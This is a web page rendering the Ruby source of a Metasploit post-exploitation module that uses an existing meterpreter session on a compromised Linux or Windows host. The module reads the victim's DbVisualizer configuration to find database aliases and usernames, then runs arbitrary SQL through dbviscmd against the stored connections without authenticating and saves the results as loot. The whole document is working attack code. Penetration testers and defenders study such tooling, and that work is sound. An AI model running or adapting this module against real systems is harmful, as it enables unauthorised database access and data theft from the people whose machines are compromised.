Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/manage/dbvis_query.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Multi Manage DbVisualizer Query',14'Description' => %q{15Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases16(With GUI). The remote database can be accessed from the command line without the need17to authenticate, and this module abuses this functionality to query and will store the18results.1920Please note: backslash quotes and your (stacked or not) queries should21end with a semicolon.22},23'License' => MSF_LICENSE,24'Author' => [ 'David Bloom' ], # Twitter: @philophobia7825'References' => [26['URL', 'http://youtu.be/0LCLRVHX1vA']27],28'Platform' => %w[linux win],29'SessionTypes' => [ 'meterpreter' ],30'Compat' => {31'Meterpreter' => {32'Commands' => %w[33stdapi_fs_stat34stdapi_sys_config_getenv35]36}37}38)39)40register_options(41[42OptString.new('DBALIAS', [true, 'Use dbvis_enum module to find out databases and aliases', 'localhost']),43OptString.new('QUERY', [true, 'The query you want to execute on the remote database', '']),44]45)46end4748def run49db_type = exist_and_supported50unless db_type.blank?51dbvis = find_dbviscmd52unless dbvis.blank?53dbvis_query(dbvis, datastore['QUERY'])54end55end56end5758# Check if the alias exist and if database is supported by this script59def exist_and_supported60case session.platform61when 'linux'62user = session.shell_command('whoami')63print_status("Current user is #{user}")6465if (user =~ /root/)66user_base = '/root/'67else68user_base = "/home/#{user}/"69end7071dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml"72when 'windows'73user_profile = session.sys.config.getenv('USERPROFILE')74dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml"75end7677unless file?(dbvis_file)78# File not found, we next try with the old config path79print_status("File not found: #{dbvis_file}")80print_status('This could be an older version of dbvis, trying old path')8182case session.platform83when 'linux'84dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"85when 'windows'86dbvis_file = "#{user_profile}\\.dbvis\\config\\dbvis.xml"87end8889unless file?(dbvis_file)90print_error("File not found: #{dbvis_file}")91return92end9394old_version = true95end9697print_status("Reading : #{dbvis_file}")98raw_xml = ''99begin100raw_xml = read_file(dbvis_file)101rescue EOFError102# If there's nothing in the file, we hit EOFError103print_error("Nothing read from file: #{dbvis_file}, file may be empty")104return105end106107db_found = false108alias_found = false109db_type = nil110db_type_ok = false111112# fetch config file113raw_xml.each_line do |line|114if line =~ /<Database id=/115db_found = true116elsif line =~ %r{</Database>}117db_found = false118end119120next unless db_found == true121122# checkthe alias123if (line =~ %r{<Alias>([\S+\s+]+)</Alias>}i) && (datastore['DBALIAS'] == ::Regexp.last_match(1))124alias_found = true125print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml")126end127128if (line =~ %r{<Userid>([\S+\s+]+)</Userid>}i) && alias_found129print_good("Username for this connection : #{::Regexp.last_match(1)}")130end131132# check the type133if (line =~ %r{<Type>([\S+\s+]+)</Type>}i) && alias_found134db_type = ::Regexp.last_match(1)135alias_found = false136end137end138if db_type.blank?139print_error('Database alias not found in dbvis.xml')140end141return db_type # That is empty if DB is not supported142end143144# Find path to dbviscmd.sh|bat145def find_dbviscmd146case session.platform147when 'linux'148dbvis = session.shell_command('locate dbviscmd.sh').chomp149if dbvis.chomp == ''150print_error('dbviscmd.sh not found')151return nil152else153print_good("Dbviscmd found : #{dbvis}")154end155when 'windows'156# Find program files157progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles')158progfiles_x86 = progfiles_env['ProgramFiles(X86)']159if !progfiles_x86.blank? && progfiles_x86 !~ (/%ProgramFiles\(X86\)%/)160program_files = progfiles_x86 # x64161else162program_files = progfiles_env['ProgramFiles'] # x86163end164dirs = []165session.fs.dir.foreach(program_files) do |d|166dirs << d167end168dbvis_home_dir = nil169# Browse program content to find a possible dbvis home170dirs.each do |d|171if (d =~ /DbVisualizer[\S+\s+]+/i)172dbvis_home_dir = d173end174end175if dbvis_home_dir.blank?176print_error('Dbvis home not found, maybe uninstalled ?')177return nil178end179dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat"180unless file?(dbvis)181print_error('dbviscmd.bat not found')182return nil183end184print_good("Dbviscmd found : #{dbvis}")185end186return dbvis187end188189# Query execution method190def dbvis_query(dbvis, sql)191error = false192resp = ''193if file?(dbvis) == true194f = session.fs.file.stat(dbvis)195if (f.uid == Process.euid) || Process.groups.include?(f.gid)196print_status('Trying to execute evil sql, it can take time ...')197args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\""198dbvis = "\"#{dbvis}\""199cmd = "#{dbvis} #{args}"200resp = cmd_exec(cmd)201print_line('')202print_line(resp.to_s)203# store qury and result204p = store_loot(205'dbvis.query',206'text/plain',207session,208resp.to_s,209'dbvis_query.txt',210'dbvis query'211)212print_good("Query stored in: #{p}")213else214print_error("User doesn't have enough rights to execute dbviscmd, aborting")215end216else217print_error("#{dbvis} is not a file")218end219return error220end221end222223224